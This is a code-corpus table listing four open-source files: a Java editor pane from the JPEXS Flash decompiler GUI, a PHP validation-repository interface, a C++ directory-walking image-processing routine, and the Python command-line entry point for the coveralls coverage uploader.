code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
/* * Copyright (C) 2010-2021 JPEXS * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.jpexs.decompiler.flash.gui.abc; import com.jpexs.decompiler.flash.SWF; import com.jpexs.decompiler.flash.abc.ABC; import com.jpexs.decompiler.flash.abc.ScriptPack; import com.jpexs.decompiler.flash.abc.avm2.AVM2Code; import com.jpexs.decompiler.flash.abc.avm2.instructions.AVM2Instruction; import com.jpexs.decompiler.flash.abc.avm2.instructions.construction.ConstructSuperIns; import com.jpexs.decompiler.flash.abc.avm2.instructions.executing.CallSuperIns; import com.jpexs.decompiler.flash.abc.avm2.instructions.executing.CallSuperVoidIns; import com.jpexs.decompiler.flash.abc.types.ClassInfo; import com.jpexs.decompiler.flash.abc.types.InstanceInfo; import com.jpexs.decompiler.flash.abc.types.Multiname; import com.jpexs.decompiler.flash.abc.types.ScriptInfo; import com.jpexs.decompiler.flash.abc.types.traits.Trait; import com.jpexs.decompiler.flash.abc.types.traits.TraitFunction; import com.jpexs.decompiler.flash.abc.types.traits.TraitMethodGetterSetter; import com.jpexs.decompiler.flash.abc.types.traits.TraitSlotConst; import com.jpexs.decompiler.flash.action.deobfuscation.BrokenScriptDetector; import com.jpexs.decompiler.flash.gui.AppStrings; import com.jpexs.decompiler.flash.gui.Main; import com.jpexs.decompiler.flash.gui.View; import com.jpexs.decompiler.flash.gui.editor.DebuggableEditorPane; import com.jpexs.decompiler.flash.helpers.GraphTextWriter; import com.jpexs.decompiler.flash.helpers.HighlightedText; import com.jpexs.decompiler.flash.helpers.hilight.HighlightData; import com.jpexs.decompiler.flash.helpers.hilight.HighlightSpecialType; import com.jpexs.decompiler.flash.helpers.hilight.Highlighting; import com.jpexs.decompiler.flash.tags.ABCContainerTag; import com.jpexs.decompiler.graph.DottedChain; import com.jpexs.helpers.CancellableWorker; import com.jpexs.helpers.Reference; import java.awt.Point; import java.awt.event.MouseEvent; import java.util.ArrayList; import java.util.List; import java.util.Timer; import java.util.TimerTask; import java.util.concurrent.CancellationException; import java.util.concurrent.ExecutionException; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.event.CaretEvent; import javax.swing.event.CaretListener; import jsyntaxpane.SyntaxDocument; import jsyntaxpane.Token; import jsyntaxpane.TokenType; /** * * @author JPEXS */ public class DecompiledEditorPane extends DebuggableEditorPane implements CaretListener { private static final Logger logger = Logger.getLogger(DecompiledEditorPane.class.getName()); private HighlightedText highlightedText = HighlightedText.EMPTY; private Highlighting currentMethodHighlight; private Highlighting currentTraitHighlight; private ScriptPack script; public int lastTraitIndex = GraphTextWriter.TRAIT_UNKNOWN; public boolean ignoreCarret = false; private boolean reset = false; private final ABCPanel abcPanel; private int classIndex = -1; private boolean isStatic = false; private CancellableWorker setSourceWorker; private final List<Runnable> scriptListeners = new ArrayList<>(); public void addScriptListener(Runnable l) { scriptListeners.add(l); } public ABCPanel getAbcPanel() { return abcPanel; } public void removeScriptListener(Runnable l) { scriptListeners.remove(l); } public void fireScript() { Runnable[] listeners = scriptListeners.toArray(new Runnable[scriptListeners.size()]); for (Runnable scriptListener : listeners) { scriptListener.run(); } } public Trait getCurrentTrait() { if (lastTraitIndex < 0) { return null; } if (classIndex == -1) { return script.abc.script_info.get(script.scriptIndex).traits.traits.get(lastTraitIndex); } return script.abc.findTraitByTraitId(classIndex, lastTraitIndex); } public ScriptPack getScriptLeaf() { return script; } public boolean getIsStatic() { return isStatic; } public void setNoTrait() { abcPanel.detailPanel.showCard(DetailPanel.UNSUPPORTED_TRAIT_CARD, null, 0); } public void hilightSpecial(HighlightSpecialType type, long index) { int startPos; int endPos; if (currentMethodHighlight == null) { if (currentTraitHighlight == null) { return; } startPos = currentTraitHighlight.startPos; endPos = currentTraitHighlight.startPos + currentTraitHighlight.len; } else { startPos = currentMethodHighlight.startPos; endPos = currentMethodHighlight.startPos + currentMethodHighlight.len; } List<Highlighting> allh = new ArrayList<>(); for (Highlighting h : highlightedText.getTraitHighlights()) { if (h.getProperties().index == lastTraitIndex) { for (Highlighting sh : highlightedText.getSpecialHighlights()) { if (sh.startPos >= h.startPos && (sh.startPos + sh.len < h.startPos + h.len)) { allh.add(sh); } } } } if (currentMethodHighlight != null) { for (Highlighting h : highlightedText.getSpecialHighlights()) { if (h.startPos >= startPos && (h.startPos + h.len < endPos)) { allh.add(h); } } } for (Highlighting h : allh) { if (h.getProperties().subtype.equals(type) && (h.getProperties().index == index)) { ignoreCarret = true; if (h.startPos <= getDocument().getLength()) { setCaretPosition(h.startPos); } getCaret().setVisible(true); ignoreCarret = false; break; } } } public void hilightOffset(long offset) { if (currentMethodHighlight == null) { return; } Highlighting h2 = Highlighting.searchOffset(highlightedText.getInstructionHighlights(), offset, currentMethodHighlight.startPos, currentMethodHighlight.startPos + currentMethodHighlight.len); if (h2 != null) { ignoreCarret = true; if (h2.startPos <= getDocument().getLength()) { setCaretPosition(h2.startPos); } getCaret().setVisible(true); ignoreCarret = false; } } public void setClassIndex(int classIndex) { this.classIndex = classIndex; } private boolean displayMethod(int pos, int methodIndex, String name, Trait trait, int traitIndex, boolean isStatic) { ABC abc = getABC(); if (abc == null) { return false; } int bi = abc.findBodyIndex(methodIndex); if (bi == -1) { return false; } //fix for inner functions: if (trait instanceof TraitMethodGetterSetter) { TraitMethodGetterSetter tm = (TraitMethodGetterSetter) trait; if (tm.method_info != methodIndex) { trait = null; } } if (trait instanceof TraitFunction) { TraitFunction tf = (TraitFunction) trait; if (tf.method_info != methodIndex) { trait = null; } } abcPanel.detailPanel.showCard(DetailPanel.METHOD_GETTER_SETTER_TRAIT_CARD, trait, traitIndex); MethodCodePanel methodCodePanel = abcPanel.detailPanel.methodTraitPanel.methodCodePanel; if (reset || (methodCodePanel.getBodyIndex() != bi)) { methodCodePanel.setBodyIndex(scriptName, bi, abc, name, trait, script.scriptIndex); abcPanel.detailPanel.setEditMode(false); this.isStatic = isStatic; } boolean success = false; Highlighting h = Highlighting.searchPos(highlightedText.getInstructionHighlights(), pos); if (h != null) { methodCodePanel.hilighOffset(h.getProperties().offset); success = true; } Highlighting sh = Highlighting.searchPos(highlightedText.getSpecialHighlights(), pos); if (sh != null) { methodCodePanel.hilighSpecial(sh.getProperties().subtype, sh.getProperties().specialValue); success = true; } return success; } public void displayClass(int classIndex, int scriptIndex) { if (abcPanel.navigator.getClassIndex() != classIndex) { abcPanel.navigator.setClassIndex(classIndex, scriptIndex); } } public void resetEditing() { reset = true; caretUpdate(null); reset = false; } public int getMultinameUnderMouseCursor(Point pt, Reference<ABC> abcUsed) { return getMultinameAtPos(viewToModel(pt), abcUsed); } public int getMultinameUnderCaret(Reference<ABC> abcUsed) { return getMultinameAtPos(getCaretPosition(), abcUsed); } public int getLocalDeclarationOfPos(int pos, Reference<DottedChain> type) { Highlighting sh = Highlighting.searchPos(highlightedText.getSpecialHighlights(), pos); Highlighting h = Highlighting.searchPos(highlightedText.getInstructionHighlights(), pos); if (h == null) { return -1; } List<Highlighting> tms = Highlighting.searchAllPos(highlightedText.getMethodHighlights(), pos); if (tms.isEmpty()) { return -1; } for (Highlighting tm : tms) { List<Highlighting> tm_tms = Highlighting.searchAllIndexes(highlightedText.getMethodHighlights(), tm.getProperties().index); //is it already declaration? if (h.getProperties().declaration || (sh != null && sh.getProperties().declaration)) { return -1; //no jump } String lname = h.getProperties().localName; if ("this".equals(lname)) { Highlighting ch = Highlighting.searchPos(highlightedText.getClassHighlights(), pos); int cindex = (int) ch.getProperties().index; ABC abc = getABC(); type.setVal(abc.instance_info.get(cindex).getName(abc.constants).getNameWithNamespace(abc.constants, true)); return ch.startPos; } HighlightData hData = h.getProperties(); HighlightData search = new HighlightData(); search.declaration = hData.declaration; search.declaredType = hData.declaredType; search.localName = hData.localName; search.specialValue = hData.specialValue; if (search.isEmpty()) { return -1; } search.declaration = true; for (Highlighting tm1 : tm_tms) { Highlighting rh = Highlighting.search(highlightedText.getInstructionHighlights(), search, tm1.startPos, tm1.startPos + tm1.len); if (rh == null) { rh = Highlighting.search(highlightedText.getSpecialHighlights(), search, tm1.startPos, tm1.startPos + tm1.len); } if (rh != null) { type.setVal(rh.getProperties().declaredType); return rh.startPos; } } } return -1; } public boolean getPropertyTypeAtPos(int pos, Reference<Integer> abcIndex, Reference<Integer> classIndex, Reference<Integer> traitIndex, Reference<Boolean> classTrait, Reference<Integer> multinameIndex, Reference<ABC> abcUsed) { int m = getMultinameAtPos(pos, true, abcUsed); if (m <= 0) { return false; } SyntaxDocument sd = (SyntaxDocument) getDocument(); Token t = sd.getTokenAt(pos + 1); Token lastToken = t; Token prev; while (t.type == TokenType.IDENTIFIER || t.type == TokenType.KEYWORD || t.type == TokenType.REGEX) { prev = sd.getPrevToken(t); if (prev != null) { if (!".".equals(prev.getString(sd))) { break; } t = sd.getPrevToken(prev); } else { break; } } if (t.type != TokenType.IDENTIFIER && t.type != TokenType.KEYWORD && t.type != TokenType.REGEX) { return false; } Reference<DottedChain> locTypeRef = new Reference<>(DottedChain.EMPTY); getLocalDeclarationOfPos(t.start, locTypeRef); DottedChain currentType = locTypeRef.getVal(); if (currentType.equals(DottedChain.ALL)) { return false; } boolean found; while (!currentType.equals(DottedChain.ALL)) { String ident = t.getString(sd); found = false; List<ABCContainerTag> abcList = abcUsed.getVal().getSwf().getAbcList(); loopi: for (int i = 0; i < abcList.size(); i++) { ABC a = abcList.get(i).getABC(); int cindex = a.findClassByName(currentType); if (cindex > -1) { InstanceInfo ii = a.instance_info.get(cindex); for (int j = 0; j < ii.instance_traits.traits.size(); j++) { Trait tr = ii.instance_traits.traits.get(j); if (ident.equals(tr.getName(a).getName(a.constants, null, false /*NOT RAW!*/, true))) { classIndex.setVal(cindex); abcIndex.setVal(i); traitIndex.setVal(j); classTrait.setVal(false); multinameIndex.setVal(tr.name_index); currentType = ii.getName(a.constants).getNameWithNamespace(a.constants, true); found = true; break loopi; } } ClassInfo ci = a.class_info.get(cindex); for (int j = 0; j < ci.static_traits.traits.size(); j++) { Trait tr = ci.static_traits.traits.get(j); if (ident.equals(tr.getName(a).getName(a.constants, null, false /*NOT RAW!*/, true))) { classIndex.setVal(cindex); abcIndex.setVal(i); traitIndex.setVal(j); classTrait.setVal(true); multinameIndex.setVal(tr.name_index); currentType = ii.getName(a.constants).getNameWithNamespace(a.constants, true); found = true; break loopi; } } } } if (!found) { return false; } if (t == lastToken) { break; } t = sd.getNextToken(t); if (!".".equals(t.getString(sd))) { break; } t = sd.getNextToken(t); } return true; } public int getMultinameAtPos(int pos, Reference<ABC> abcUsed) { return getMultinameAtPos(pos, false, abcUsed); } private int getMultinameAtPos(int pos, boolean codeOnly, Reference<ABC> abcUsed) { int multinameIndex = _getMultinameAtPos(pos, codeOnly, abcUsed); if (multinameIndex > -1) { ABC abc = abcUsed.getVal(); multinameIndex = abc.constants.convertToQname(abc.constants, multinameIndex); } return multinameIndex; } public int _getMultinameAtPos(int pos, boolean codeOnly, Reference<ABC> abcUsed) { Highlighting tm = Highlighting.searchPos(highlightedText.getMethodHighlights(), pos); Trait currentTrait = null; int currentMethod = -1; ABC abc = getABC(); abcUsed.setVal(abc); if (abc == null) { return -1; } if (tm != null) { int mi = (int) tm.getProperties().index; currentMethod = mi; int bi = abc.findBodyIndex(mi); Highlighting h = Highlighting.searchPos(highlightedText.getInstructionHighlights(), pos); if (h != null) { long highlightOffset = h.getProperties().offset; List<AVM2Instruction> list = abc.bodies.get(bi).getCode().code; AVM2Instruction lastIns = null; AVM2Instruction selIns = null; for (AVM2Instruction ins : list) { if (highlightOffset == ins.getAddress()) { selIns = ins; break; } if (ins.getAddress() > highlightOffset) { selIns = lastIns; break; } lastIns = ins; } if (selIns != null) { //long inspos = highlightOffset - selIns.offset; if (!codeOnly && ((selIns.definition instanceof ConstructSuperIns) || (selIns.definition instanceof CallSuperIns) || (selIns.definition instanceof CallSuperVoidIns))) { Highlighting tc = Highlighting.searchPos(highlightedText.getClassHighlights(), pos); if (tc != null) { int cindex = (int) tc.getProperties().index; if (cindex > -1) { return abc.instance_info.get(cindex).super_index; } } } else { for (int i = 0; i < selIns.definition.operands.length; i++) { if (selIns.definition.operands[i] == AVM2Code.DAT_MULTINAME_INDEX) { return selIns.operands[i]; } } } } } } if (codeOnly) { return -1; } Highlighting ch = Highlighting.searchPos(highlightedText.getClassHighlights(), pos); if (ch != null) { Highlighting th = Highlighting.searchPos(highlightedText.getTraitHighlights(), pos); if (th != null) { currentTrait = abc.findTraitByTraitId((int) ch.getProperties().index, (int) th.getProperties().index); } } if (currentTrait instanceof TraitMethodGetterSetter) { currentMethod = ((TraitMethodGetterSetter) currentTrait).method_info; } Highlighting sh = Highlighting.searchPos(highlightedText.getSpecialHighlights(), pos); if (sh != null) { switch (sh.getProperties().subtype) { case TYPE_NAME: String typeName = sh.getProperties().specialValue; for (int i = 1; i < abc.constants.getMultinameCount(); i++) { Multiname m = abc.constants.getMultiname(i); if (m != null) { if (typeName.equals(m.getNameWithNamespace(abc.constants, true).toRawString())) { return i; } } } case TRAIT_TYPE_NAME: if (currentTrait instanceof TraitSlotConst) { TraitSlotConst ts = (TraitSlotConst) currentTrait; return ts.type_index; } break; case TRAIT_NAME: if (currentTrait != null) { //return currentTrait.name_index; } break; case RETURNS: if (currentMethod > -1) { return abc.method_info.get(currentMethod).ret_type; } break; case PARAM: if (currentMethod > -1) { return abc.method_info.get(currentMethod).param_types[(int) sh.getProperties().index]; } break; } } return -1; } @Override public void caretUpdate(final CaretEvent e) { ABC abc = getABC(); if (abc == null) { return; } if (ignoreCarret) { return; } getCaret().setVisible(true); int pos = getCaretPosition(); abcPanel.detailPanel.methodTraitPanel.methodCodePanel.setIgnoreCarret(true); lastTraitIndex = GraphTextWriter.TRAIT_UNKNOWN; try { classIndex = -1; Highlighting cm = Highlighting.searchPos(highlightedText.getClassHighlights(), pos); if (cm != null) { classIndex = (int) cm.getProperties().index; } displayClass(classIndex, script.scriptIndex); Highlighting tm = Highlighting.searchPos(highlightedText.getMethodHighlights(), pos); if (tm != null) { String name = ""; if (classIndex > -1) { name = abc.instance_info.get(classIndex).getName(abc.constants).getNameWithNamespace(abc.constants, true).toPrintableString(true); } Trait currentTrait = null; currentTraitHighlight = Highlighting.searchPos(highlightedText.getTraitHighlights(), pos); if (currentTraitHighlight != null) { lastTraitIndex = (int) currentTraitHighlight.getProperties().index; currentTrait = getCurrentTrait(); isStatic = abc.isStaticTraitId(classIndex, lastTraitIndex); if (currentTrait != null) { name += ":" + currentTrait.getName(abc).getName(abc.constants, null, false, true); } } displayMethod(pos, (int) tm.getProperties().index, name, currentTrait, lastTraitIndex, isStatic); currentMethodHighlight = tm; return; } if (classIndex == -1) { abcPanel.navigator.setClassIndex(-1, script.scriptIndex); //setNoTrait(); //return; } Trait currentTrait; currentTraitHighlight = Highlighting.searchPos(highlightedText.getTraitHighlights(), pos); if (currentTraitHighlight != null) { lastTraitIndex = (int) currentTraitHighlight.getProperties().index; currentTrait = getCurrentTrait(); if (currentTrait != null) { if (currentTrait instanceof TraitSlotConst) { abcPanel.detailPanel.slotConstTraitPanel.load((TraitSlotConst) currentTrait, abc, abc.isStaticTraitId(classIndex, lastTraitIndex)); final Trait ftrait = currentTrait; final int ftraitIndex = lastTraitIndex; View.execInEventDispatch(() -> { abcPanel.detailPanel.showCard(DetailPanel.SLOT_CONST_TRAIT_CARD, ftrait, ftraitIndex); }); abcPanel.detailPanel.setEditMode(false); currentMethodHighlight = null; Highlighting spec = Highlighting.searchPos(highlightedText.getSpecialHighlights(), pos, currentTraitHighlight.startPos, currentTraitHighlight.startPos + currentTraitHighlight.len); if (spec != null) { abcPanel.detailPanel.slotConstTraitPanel.hilightSpecial(spec); } return; } } currentMethodHighlight = null; //currentTrait = null; String name = classIndex == -1 ? "" : abc.instance_info.get(classIndex).getName(abc.constants).getNameWithNamespace(abc.constants, true).toPrintableString(true); currentTrait = getCurrentTrait(); isStatic = abc.isStaticTraitId(classIndex, lastTraitIndex); if (currentTrait != null) { if (!name.isEmpty()) { name += ":"; } name += currentTrait.getName(abc).getName(abc.constants, null, false, true); } int methodId; if (classIndex > -1) { methodId = abc.findMethodIdByTraitId(classIndex, lastTraitIndex); } else { methodId = ((TraitMethodGetterSetter) abc.script_info.get(script.scriptIndex).traits.traits.get(lastTraitIndex)).method_info; } displayMethod(pos, methodId, name, currentTrait, lastTraitIndex, isStatic); return; } setNoTrait(); } finally { abcPanel.detailPanel.methodTraitPanel.methodCodePanel.setIgnoreCarret(false); } } public void gotoLastTrait() { gotoTrait(lastTraitIndex); } public void gotoLastMethod() { if (currentMethodHighlight != null) { final int fpos = currentMethodHighlight.startPos; new Timer().schedule(new TimerTask() { @Override public void run() { if (fpos <= getDocument().getLength()) { setCaretPosition(fpos); } } }, 100); } } public void gotoTrait(int traitId) { boolean isScriptInit = traitId == GraphTextWriter.TRAIT_SCRIPT_INITIALIZER; Highlighting tc = Highlighting.searchIndex(highlightedText.getClassHighlights(), classIndex); if (tc != null || isScriptInit) { Highlighting th = Highlighting.searchIndex(highlightedText.getTraitHighlights(), traitId, isScriptInit ? 0 : tc.startPos, isScriptInit ? -1 : tc.startPos + tc.len); int pos = 0; if (th != null) { if (th.len > 1) { ignoreCarret = true; int startPos = th.startPos + th.len - 1; if (startPos <= getDocument().getLength()) { setCaretPosition(startPos); } ignoreCarret = false; } pos = th.startPos; } else if (tc != null) { pos = tc.startPos; } final int fpos = pos; new Timer().schedule(new TimerTask() { @Override public void run() { if (fpos <= getDocument().getLength()) { setCaretPosition(fpos); } } }, 100); } } public DecompiledEditorPane(ABCPanel abcPanel) { super(); setEditable(false); getCaret().setVisible(true); addCaretListener(this); this.abcPanel = abcPanel; } public void clearScript() { script = null; } public void setScript(ScriptPack scriptLeaf, boolean force) { View.checkAccess(); if (setSourceWorker != null) { setSourceWorker.cancel(true); setSourceWorker = null; } if (!force && this.script == scriptLeaf) { fireScript(); return; } String sn = scriptLeaf.getClassPath().toString(); setScriptName(sn); abcPanel.scriptNameLabel.setText(sn); int scriptIndex = scriptLeaf.scriptIndex; ScriptInfo nscript = null; ABC abc = scriptLeaf.abc; if (scriptIndex > -1) { nscript = abc.script_info.get(scriptIndex); } if (nscript == null) { highlightedText = HighlightedText.EMPTY; return; } HighlightedText decompiledText = SWF.getFromCache(scriptLeaf); boolean decompileNeeded = decompiledText == null; if (decompileNeeded) { CancellableWorker worker = new CancellableWorker() { @Override protected Void doInBackground() throws Exception { if (decompileNeeded) { View.execInEventDispatch(() -> { setText("// " + AppStrings.translate("work.decompiling") + "..."); }); HighlightedText htext = SWF.getCached(scriptLeaf); View.execInEventDispatch(() -> { setSourceCompleted(scriptLeaf, htext); }); } return null; } @Override protected void done() { View.execInEventDispatch(() -> { setSourceWorker = null; if (!Main.isDebugging()) { Main.stopWork(); } try { get(); } catch (CancellationException ex) { setText("// " + AppStrings.translate("work.canceled")); } catch (Exception ex) { Throwable cause = ex; if (ex instanceof ExecutionException) { cause = ex.getCause(); } if (cause instanceof CancellationException) { setText("// " + AppStrings.translate("work.canceled")); } else { logger.log(Level.SEVERE, "Error", cause); setText("// " + AppStrings.translate("decompilationError") + ": " + cause); } } }); } }; worker.execute(); setSourceWorker = worker; if (!Main.isDebugging()) { Main.startWork(AppStrings.translate("work.decompiling") + "...", worker); } } else { setSourceCompleted(scriptLeaf, decompiledText); } } private void setSourceCompleted(ScriptPack scriptLeaf, HighlightedText decompiledText) { View.checkAccess(); if (decompiledText == null) { decompiledText = HighlightedText.EMPTY; } script = scriptLeaf; highlightedText = decompiledText; if (decompiledText != null) { String hilightedCode = decompiledText.text; BrokenScriptDetector det = new BrokenScriptDetector(); if (det.codeIsBroken(hilightedCode)) { abcPanel.brokenHintPanel.setVisible(true); } else { abcPanel.brokenHintPanel.setVisible(false); } setText(hilightedCode); if (highlightedText.getClassHighlights().size() > 0) { try { setCaretPosition(highlightedText.getClassHighlights().get(0).startPos); } catch (Exception ex) { //sometimes happens //ignore } } } fireScript(); } public void reloadClass() { View.checkAccess(); int ci = classIndex; SWF.uncache(script); if (script != null && getABC() != null) { setScript(script, true); } setNoTrait(); setClassIndex(ci); } public int getClassIndex() { return classIndex; } private ABC getABC() { return script == null ? null : script.abc; } @Override public void setText(String t) { super.setText(t); setCaretPosition(0); } @Override public String getToolTipText(MouseEvent e) { // not debugging: so return existing text if (abcPanel.getDebugPanel().localsTable == null) { return super.getToolTipText(); } final Point point = new Point(e.getX(), e.getY()); final int pos = abcPanel.decompiledTextArea.viewToModel(point); final String identifier = abcPanel.getMainPanel().getActionPanel().getStringUnderPosition(pos, abcPanel.decompiledTextArea); if (identifier != null && !identifier.isEmpty()) { String tooltipText = abcPanel.getDebugPanel().localsTable.tryGetDebugHoverToolTipText(identifier); return (tooltipText == null ? super.getToolTipText() : tooltipText); } // not found: so return existing text return super.getToolTipText(); } }
jindrapetrik/jpexs-decompiler
src/com/jpexs/decompiler/flash/gui/abc/DecompiledEditorPane.java
Java
gpl-3.0
33,603
<?php namespace Opifer\QueueIt\Validation; interface ValidateResultRepositoryInterface { public function getValidationResult($queue); public function setValidationResult($queue, $validationResult); }
Opifer/queue-it
src/Validation/ValidateResultRepositoryInterface.php
PHP
gpl-3.0
210
/* Inclusão das bibliotecas requisitadas: */ #include "../Bibliotecas/Diretorios.hpp" /* Definições das funções a serem manipuladas por este arquivo: */ /* Função 'arq_escreve_resize', escreve o aviso de redimensionamento */ void arq_escreve_resize (FILE *arq){ /* 'arq' armazena o arquivo lógico a ser escrito o aviso */ fprintf (arq, "Todas as imagens foram redimensionadas para %d x %d pixels, ", LIN_ALVO, COL_ALVO); fprintf (arq, "as medições abaixo obedecem esta proporção.\n\n"); } /* Função 'dir_ler', realiza a leitura de todos os diretórios a partir de um ** diretório base, escrevendo num arquivo de escolha*/ void dir_ler (FILE *arq, FILE *arq1, char * dirbase, int ramificacao, FMeasure *estatistica){ /* 'arq' armazena o arquivo a ser gravado as informações a medida que vai ** percorrendo os diretórios; 'dirbase' armazena o nome do diretório ** corrente a ser navegado; 'ramificacao' armazena o nivel de ramificacao ** dos diretórios; 'pasta' armazena as informações dos arquivos presentes ** no diretório; 'pdir' armazena o diretório lógico a ser navegado; ** 'extensoes' armazena as extensões de arquivo, classificadas como imagem */ Diretorios *pasta; DIR *pdir = dir_abre (dirbase); string hinweis[] = {"Categoria 1", "Categoria 2"}; int contador = 0; /* Analisando todos os arquivos do diretorio corrente */ while((pasta = readdir(pdir))){ /* Escrita no arquivo desejado */ dir_escreve_geral (arq, pasta, ramificacao); /* Validação do diretório */ if (dir_valido_geral(pasta) == VERDADE){ /* Configuração da classe que está sendo analisada */ if (string_compara_n(pasta->d_name, hinweis[0], 0, 0, static_cast<int>(hinweis[0].size())) == VERDADE){ estatistica->status = VERDADE; }else if (string_compara_n(pasta->d_name, hinweis[1], 0, 0, static_cast<int>(hinweis[1].size())) == VERDADE){ estatistica->status = !VERDADE; } /* Verificação se é outro diretório, caso positivo: */ if(pasta->d_type == DIR_PASTA){ /* Configuração do nome do diretório,'nomedir', a ser lido */ char nomedir[500]; /* Inicialização do nome do diretório */ string_zera (nomedir, 0, 500); /* Construção do nome do diretório filho */ dir_constroi_nome (dirbase, pasta->d_name, nomedir); strcat (nomedir, DIR_DIVISAO); /* Leitura do diretório formado */ dir_ler (arq, arq1, nomedir, ramificacao + 1, estatistica); /* Caso contrario e, além disso, sendo uma imagem */ }else if(dir_valido_imagem(pasta) == VERDADE){ /* Configuração do nome da imagem, 'nomeimg', a ser manipulada */ char nomeimg[500]; /* Inicialização do nome do diretório */ string_zera (nomeimg, 0, 500); /* Construção do nome do diretório filho */ dir_constroi_nome (dirbase, pasta->d_name, nomeimg); /* Abertura da imagem para processamento */ Mat teste = imread (nomeimg, CV_LOAD_IMAGE_COLOR); /* Processamento sobre a imagem encontrada */ if (!teste.empty()){ imagem_processa (arq1, teste, nomeimg, estatistica); if (estatistica->classes.status == VERDADE){ contador++; } } /* Escrita no arquivo saida, o status sobre a imagem */ dir_escreve_imagem (arq, nomeimg, ramificacao + 1, teste.empty()); teste.release (); } } } if (estatistica->classes.status == VERDADE){ /* Levantamento das médias e desvios padrões para as classes */ estatistica->classes.medias[estatistica->classes.classe] /= contador; } /* Liberação de memória */ if (pdir != NULL) closedir (pdir); return; } /* Função 'dir_abre', realiza a abertura de um dado diretório, ** verificando se é um diretorio válido */ DIR * dir_abre (char *nomedir){ /* 'nomedir' armazena o nome do diretório a ser aberto; 'diretorio' ** armazena o diretório lógico a ser manipulado */ DIR *diretorio = opendir (nomedir); /* Validação do diretório lógico */ if (diretorio == NULL){ printf ("Falha ao abrir o diretorio %s!\n", nomedir); } return diretorio; } /* Função 'dir_constroi_nome', realiza a construção do nome do diretorio, ** pela concatenação de duas outras partes */ void dir_constroi_nome (char *parte1, char *parte2, char *destino){ /* 'parte1' e 'parte2' armazenam as respectivas partes a serem concatenadas ** nessa ordem; 'destino' armazena o nome formado */ /* Concatenação das partes */ strcpy (destino, parte1); strcat (destino, parte2); } /* Função 'dir_escreve_geral', realiza a escrita do status de um arquivo do diretório ** num arquivo de saída escolhido */ void dir_escreve_geral (FILE *arq, Diretorios *dir, int ramificacao){ /* 'arq' armazena o arquivo lógico a ser escrito as informações do referente ** arquivo; 'dir' armazena o arquivo corrente; 'ramificacao' armazena o nível ** de ramificação do arquivo corrente */ /* Escrita com as ramificações */ for (int vezes = 0; vezes < ramificacao; vezes++) fprintf (arq, "\t"); /* Escrita das informações */ fprintf (arq, "Tipo =\t%d\t", dir->d_type); fprintf (arq, "Nome =\t%s\n", dir->d_name); } /* Função 'dir_escreve_imagem', realiza a escrita do status de uma imagem do diretório ** num arquivo de saída escolhido */ void dir_escreve_imagem (FILE *arq, char *nomeimg, int ramificacao, bool falha){ /* 'arq' armazena o arquivo lógico a ser escrito as informações do referente ** arquivo; 'dir' armazena o arquivo corrente; 'ramificacao' armazena o nível ** de ramificação do arquivo corrente */ /* Escrita com as ramificações */ for (int vezes = 0; vezes < ramificacao + 1; vezes++) fprintf (arq, "\t"); /* Não conseguindo abrir a imagem */ if (falha == VERDADE){ fprintf (arq, "Erro ao abrir a imagem %s\n\n", nomeimg); /* Caso contrário */ }else{ fprintf (arq, "SUCESSO\n\n"); } } /* Função 'dir_valido_geral', realiza a validação de um diretório, ou seja, se é uma ** pasta de arquivos e se é um nome diferente de '.' e '..' */ bool dir_valido_geral (Diretorios *dir){ /* 'dir' armazena o diretório a ser analisado */ /* Validação do diretório */ if ((strcmp(dir->d_name, ".") != IGUAL) && (strcmp(dir->d_name, "..") != IGUAL)) return VERDADE; return !VERDADE; } /* Função 'dir_valido_imagem', realiza a validação de um arquivo como imagem */ bool dir_valido_imagem (Diretorios *dir){ /* 'dir' armazena o diretorio a ser avaliado como imagem ou não; 'referencia' armazena ** os criterios para que um diretório seja considerado como uma imagem */ string referencia[] = {"jpg", "png"}; /* Valida o formato do diretório quanto um formato de imagem */ /* Busca dentre os formatos possíveis */ for (int turn = 0; turn < QNT_FORMATOS; turn++){ /* Sendo VERDADE */ if (string_compara_n (dir->d_name, referencia[turn], strlen(dir->d_name) - ARQ_EXTENSAO, 0, static_cast<int>(referencia[turn].length())) == VERDADE) return VERDADE; } /* Não sendo uma imagem */ return !VERDADE; }
rodrigofegui/UnB
2015.2/Intro. Proc. Imagem/Trabalhos/Trabalho 1/Codificação_Trab1_rev1/Fontes/Diretorios.cpp
C++
gpl-3.0
7,622
#!/usr/bin/env python """Publish coverage results online via coveralls.io Puts your coverage results on coveralls.io for everyone to see. It makes custom report for data generated by coverage.py package and sends it to `json API`_ of coveralls.io service. All python files in your coverage analysis are posted to this service along with coverage stats, so please make sure you're not ruining your own security! Usage: coveralls [options] coveralls debug [options] Debug mode doesn't send anything, just outputs json to stdout, useful for development. It also forces verbose output. Global options: -h --help Display this help -v --verbose Print extra info, True for debug command Example: $ coveralls Submitting coverage to coveralls.io... Coverage submitted! Job #38.1 https://coveralls.io/jobs/92059 """ import logging from docopt import docopt from coveralls import Coveralls from coveralls.api import CoverallsException log = logging.getLogger('coveralls') def main(argv=None): options = docopt(__doc__, argv=argv) if options['debug']: options['--verbose'] = True level = logging.DEBUG if options['--verbose'] else logging.INFO log.addHandler(logging.StreamHandler()) log.setLevel(level) try: coverallz = Coveralls() if not options['debug']: log.info("Submitting coverage to coveralls.io...") result = coverallz.wear() log.info("Coverage submitted!") log.info(result['message']) log.info(result['url']) log.debug(result) else: log.info("Testing coveralls-python...") coverallz.wear(dry_run=True) except KeyboardInterrupt: # pragma: no cover log.info('Aborted') except CoverallsException as e: log.error(e) except Exception: # pragma: no cover raise
phimpme/generator
Phimpme/site-packages/coveralls/cli.py
Python
gpl-3.0
1,907
